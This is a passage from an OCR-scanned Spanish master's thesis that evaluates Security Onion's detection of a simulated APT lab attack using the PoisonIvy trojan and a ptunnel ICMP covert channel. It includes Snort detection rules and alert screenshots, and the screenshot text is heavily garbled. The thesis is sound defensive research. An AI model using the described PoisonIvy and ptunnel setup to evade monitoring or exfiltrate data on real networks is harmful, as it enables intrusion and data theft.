- 1 SecurityO... 1.10 2016-09-0908:09:39  0.0.0.0 0.0.0.0 o [OSSEC] Mew group added to the system
- 1 Securityo... 137 2016-09-0908:16:12  0.0.0.0 0.0.0.0 0 [OSSEC]Received 0 packets in designated time interval (defined in ossec.conf). Please check interfa...
- 80 SecurityO... 31 2016-09-09 08:45:14  192.168.99.5 1032 192.168.99.4 3460 6 ET TROJAN Poisonlvy.E Keepalive to CnC
- 3 SecurityO... 1.70 2016-09-10 16:26:16  0.0.0.0 0.0.0.0 0 [OSSEC] Integrity checksum changed again (3rd time).
RT 5 SecurityO... 1.76 2016-09-1516:45:41  0.0.0.0 0.0.0.0 o [OSSEC] User login failed.
- 3 SecurityO... 181 2016-09-1516:46:21  0.0.0.0 0.0.0.0 o [OSSEC] User missed the password to change UID to root.
RT 3 SecurityO... 179 2016-09-1516:46:21  0.0.0.0 0.0.0.0 o [OSSEC] User authentication failure.
RT 3 SecurityO... 1.80 2016-09-1516:46:21  0.0.0.0 0.0.0.0 o [OSSEC] User missed the password to change UID (user id).
RT 5 SecurityO... 3.74 2016-09-1519:30:41  192.168.99.18 192.168.99.5 1 GPLICMP_INFO PING *NIX
RT 2658 SecurityO... 3.86 2016-09-17 14:26:44  192.168.99.6 192.168.99.7 1 ETINFO PTUNNEL INBOUND
RT 1330 SecurityO... 3.87 2016-09-17 14:26:44  192.168.99.7 192.168.99.6 1 ETINFO PTUNNEL OUTBOUND
| 3
4
5 e [ Show Packet Data | Show Rule
1P Resolution 1 Agent Status 1 Snort statstns} System Msgs 1 User Msgs 1
I~ Reverse DNS ¥ Enable External DNS =
SrcIP: Source IP DestIP Ver HL TOS len D Flags Offset. TTL chksum
e \ \ [ [ [ | \ \ \ \ \
Dst IP: Type Code ChkSum 1D Seq #
Dt Name: \ [ [ [ \
Whois Query: & None © SrcIP  DstIP ‘ ‘
\ A |
Fi 83: Captura d talla de Sguil en | d la deteccion del trafico d.
4] 0 20442 2.0 [Corries Oradle rtualBo = a X
B ] SGUIL-0.9.0 - Connecte... & squert (3259) - IUisbc - -.r 17 sep, 14:44
P squert (3259) - luisbc - Chromium 4+ -0 x
) ELSA x /' [1 squert (3259) - luist x &
= C | B b#ps://localhost/squert/index.php?ic ad789db471d8e3f9a03bd74d4 T
ol[c¥= =T a
INTERVAL:  2016.09-17 00:00:00 -> 2016-08.17 23:50:59 (+00:00)  FILTERED BY OBJECT. NO  FITEREDBY SENSOR: NO  PRIORITY:
TOGGLE A |Quese SC DC  ACTMITY  LASTEVENT SIGNATURE ] PROTO % TOTAL
b [ or | m 1 i = 143054 ET INFO PTUNNEL OUTBOUND 2016145 1 33.289%
orouping m
alerticmp $HOME_NET any -> SEXTERNAL_NET any (msg:'ET INFO PTUNNEL OUTBOUND" itype:8; icode:0; content"|D5 20 08 80J"; depth:d; reference:url github. reference:url.cs.uitno~da
SUMMARY A | niels/Ping Classtype:p: I-command-decode; sid:2016145; rev:2;)
queued events 3259 file: downloaded.rules:6282
okl evanta a2su ¥ catEGORIZE 256 EvenTis) W8 CREATE FILTER: sic dst both
fotal signatures 3
total sources - QUEUE  ACTIVITY  LASTEVENT SOURCE COUNTRY DESTINATION GCOUNTRY
) cestmatione - ® 2016.09-17 14:31:00 192.168.99.7 192.168.99.6
COUNT BY PRIORITY A
high
medium
low
other 1 o0
COUNT BY CLASSIFICATION A

® compromised L1 -

® compromised L2 -
attempted access -

@ denial of service

8 poiicy violation
reconnaissance

@ malicious

no action req'd.

Figura 84: Captura de pantalla de Squert con la regla de Snort para detectar el covert
channel.
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4.3.4 Evaluacidon de la prueba
Mediante la distribucion Security Onion llevamos a cabo la monitorizacién del la red y

observamos si ésta es capaz de detectar el covert channel y qué datos nos ofrece sobre.

Como se puede observar en las capturas de pantalla que se muestran a continuacion, las
distintas herramientas de visualizacion del estado de la red nos avisan del covert channel.
En la figura 83, podemos ver que Sguil nos muestra como las ultimas alarmas la deteccion
del covert channel, indicando ademas que ha sido implementado utilizando la herramienta
ptunnel. En la figura 84 podemos observar que Squert nos muestra a mayores la regla de

Snort utilizada para la deteccién.

4.3.5 Propuesta de mejoras
Tal como se ha comentado para este mismo apartado en la prueba anterior, el piloto tiene
como limitaciones las limitaciones intrinsecas a un TFM. Personalmente, seria interesante
implementar adicionalmente las siguientes propuestas:
* Uso de mas herramientas de detecciéon (SIEM o NSM).
Una de las mejoras a implementar seria la de realizar las mismas pruebas para 2 o
mas sistemas de monitorizacion.
* Implementaciéon de diversos tipos de covert channel.
Para evaluar mejor la eficacia de las herramientas de monitorizacion, seria
interesante el llevar a cabo la implementacién de distintos tipos de covert channel, ya
que cada uno de ellos conllevas reglas de deteccion diferentes.
« Utilizacion de diversas herramientas de implementaciéon de covert channel.
El uso de diferentes herramientas implica diferentes puntos de vista, diferentes
maneras de implementar un mismo concepto, y ello ayudaria en la evaluacién de la

eficacia de las herramientas de deteccion.
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4.4.Presentacion de los resultados

La prueba piloto realizada ha sido satisfactoria en la medida que la herramienta de
monitorizacién ha sido capaz de identificar correctamente el ataque mediante el analisis del
trafico de red, no solo mostrando una alerta acerca del ataque en si, sino también

identificando el tipo de malware utilizado.

4.4.1 Ataque APT

¢ Se ha detectado la comunicacion entre maquina victimay C&C?
Si. Security Onion, mediante la alerta generada por herramienta NIDS Snort, y a través de

las interfaces Sguil y Squert, nos ha alertado de la APT.

Regla de Snort con que ha detectado el ataque y ha generado la alerta:

alert tcp SHOME_NET any -> $SEXTERNAL_NET any (msg:"ET TROJAN Poisonlvy.E
Keepalive to CnC"; flow:established,to_server; content:"|90 48 5¢ d5 ec 70 a3 8b 41 72 28
50 ec f6 d5 2a|"; offset:16; depth:16; reference:url,www.threatexpert.com/report.aspx?
md5=fc414168a5b4ca074eabe03f770659¢f; classtype:trojan-activity; sid:2013337; rev:4;)

Identificacion del tipo de malware:
Si. Snort ha identificado correctamente el tipo de malware (troyano) y el nombre por el que

es conocido, Poisonlvy.
NuUmero de alertas:
El nimero de alertas generadas en SGUIL por la accién de Poisonlvy es de 73 (Alert ID 3.1

a 3.73).

Correcta identificacion de maquinas relacionadas con el ataque:

Si. La identificacién de direcciones IP y puertos ha sido correcta.

Alertas con falsos positivos:
No.
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4.4.2 Covert Channel

¢ Se ha detectado la comunicacion a través de covert chanel?
Si. La distribucion Security Onion contiene ya por defecto las reglas necesarias no solo para
detectar que se esta produciendo una comunicacién encubierta sino también para conocer

qué software se ha utilizado para crearla.

Regla de Snort con que ha detectado el covert channel y ha generado la alerta:

Regla para trafico de extraccion:

alert icmp $SHOME_NET any -> SEXTERNAL_NET any (msg:"ET INFO PTUNNEL
OUTBOUND"; itype:8; icode:0; content:"|D5 20 08 80|"; depth:4;
reference:url,github.com/madeye/ptunnel;
reference:url,cs.uit.no/~daniels/PingTunnel/#protocol; classtype:protocol-command-decode;
sid:2016145; rev:2;)

Regla para trafico hacia el cliente:

alert icmp SEXTERNAL_NET any -> $SHOME_NET any (msg:"ET INFO PTUNNEL
INBOUND"; itype:0; icode:0; content:"|D5 20 08 80|"; depth:4;
reference:url,github.com/madeye/ptunnel;
reference:url,cs.uit.no/~daniels/PingTunnel/#protocol; classtype:protocol-command-decode;
sid:2016146; rev:3;)

Identificacion del tipo de software con que se ha creado el covert channel:
Si. Snort ha identificado correctamente la herramienta utilizada para crear el covert channel,

es decir, nos ha notificado que ésta era ptunnel.

Correcta identificacion de maquinas relacionadas con el covert channel:

Si. La identificacién de direcciones IP y puertos ha sido correcta.

Alertas con falsos positivos:
No.
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4.5.Discusion de los resultados

Siendo el objetivo del presente trabajo el averiguar si existen herramientas de caracter libre
que nos ayuden a luchar contra las APT de una manera eficaz, se puede decir que la
distribucion Security Onion ha cumplido con creces, ya que no solo ha detectado una
intrusién, sino que ademas ha identificado qué tipo de intrusién era y su denominacion,
dejando claro cual era la amenaza a la que el sistema estaba haciendo frente. No cabe mas
que alabar el trabajo realizado Doug Burks, ya que no solo ha sabido hacer converger una
gran suite de herramientas, sino que ademas resulta extremadamente eficaz con la

configuracion por defecto, incluyendo una gran cantidad de reglas.

Si bien para conocer si seria capaz de detectar una amenaza de ultima generacion habria
que hacer unas pruebas mucho mas exhaustivas mediante un laboratorio con mayores
medios, si que se puede afirmar con un elevado grado de confianza que manteniendo este
conjunto de herramientas actualizado, no solo a nivel de software, sino también de firmas,

se puede tener una monitorizacion exhaustiva, eficaz y eficiente.
Ademas, la elevada comunidad de usuarios existente alrededor de las herramientas

incluidas en la distribucion Security Onion, permitira tener un nivel de recursos que sera tan

elevado en cantidad como en calidad.

Deteccién de APT con herramientas de seguridad de caracter libre 122



Master Universitario en Seguridad Informatica Luis Besteiro Calvo

5. CONCLUSIONES YTRABAJO FUTURO
5.1. Analisis sobre el TFM

Las APT suponen un problema tan complejo y peligroso como apasionante. No solo
intervienen cuestiones técnicas, sino también politicas y activistas, por lo que profundizar en

su conocimiento y motivaciones nos lleva a un contexto rico en matices.

Alo largo de este trabajo fin de master recorremos desde las distintas etapas de un ataque
APT hasta la metodologia para exfiltrar la informacién del sistema victima, los covert-
channels o canales encubiertos, metodologia rebosante de creatividad e ingenio para lograr
extraer la informacion sin que usuarios, administradores o sistemas de seguridad sean

conscientes del ataque que se esta produciendo.

En lo referente a las herramientas de monitorizacién para detectar ataques APT, por un lado
se han nombrado y descrito, y por otro lado se han puesto a prueba de la mano de la

distribucion Security Onion para comprobar su eficacia y asi la posibilidad de llevar a cabo la
instalacion de un sistema de monitorizacion de seguridad en la red de una manera asumible

por la gran mayoria de las organizaciones.

Si bien la distribucion de herramientas de caracter libre Security Onion dista de ser una
distribucion con una corta curva de aprendizaje, ya que cuenta con un elevado numero de
herramientas y la interface no es excesivamente intuitiva, es una distribuciéon
suficientemente amigable y completa como para ser implantada en cualquier organizacion
de cualquier tamano, dejando claro que si se puede llevar a cabo una defensa efectiva
contra APT mediante software libre. Cabe afadir que al ser Security Onion un compendio de
herramientas de caracter libre, existe una gran comunidad de contribuyentes a su alrededor
que proveen de mejoras del rendimiento de este sistema a través de nuevas alertas, firmas

y recomendaciones de configuracion y gestion.
Sin duda, dedicandole los recursos humanos y técnicos adecuados, a través de

herramientas de caracter libre se puede ayudar a las distintas organizaciones a luchar

contras las APT sin tener que llevar a cabo una elevada inversion en lo referente a software.
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5.2. Contribuciones del trabajo

Este trabajo realiza un extenso y minucioso analisis sobre las APT y sus metodologias de
exfiltracion de datos por medio de los canales encubiertos, que puede ser tomado como
referencia tanto para el estudio de las APT como para trabajos que pretendan lograr nuevas

metas en el campo.

Al mismo tiempo es una descriptiva guia sobre como llevar a cabo paso a paso la
elaboracion de un laboratorio virtual de pruebas de ataques APT y asi como sobre llevar a
cabo la configuracion de la distribucion de monitorizacién de seguridad en red Security
Onion y la configuracion de las herramientas APT Poisonlvy y ptunnel para llevar a cabo la

simulacion de un APT.

5.3.Lineas de trabajo futuro
En cuanto a como deberia de continuarse el presente trabajo, se tendria que comenzar
por lo comentado previamente en el apartado 4.2.6:
* Uso de mas herramientas de deteccion (SIEM o NSM).
* Mayores muestras de malware.
* Mayor numero de iteraciones con cada muestra de malware.
» Realizar las modificaciones pertinentes en el software de monitorizacién y analisis de
red para mejorar la eficiencia y eficacia de la deteccion.
* Un mayor numero de maquinas virtuales simulando distintos servicios y asi poder
simular en tiempo real junto con la infeccion una mayor cantidad de trafico que

permita generar un entorno mas realista.

En lo referente a como puede evolucionar, o como deberia evolucionar este campo, en
opinion del autor:

» Creacion de algoritmos para llevar a cabo predicciones de cémo puede evolucionar
un malware concreto y asi poder detectar posibles futuras variantes.

* Empleo de la Inteligencia Artificial (IA) para llevar a cabo un filtrado y exposicién de
datos mas funcional para el administrador de sistemas, e incluso sustituirlo. Este es
el caso de la plataforma de ciberseguridad basada en IA “Al2” desarrollada por
investigadores del MIT, que puede bloquear un 85% de los ciberataques con una

gran precision (Khandelwal, 2016).
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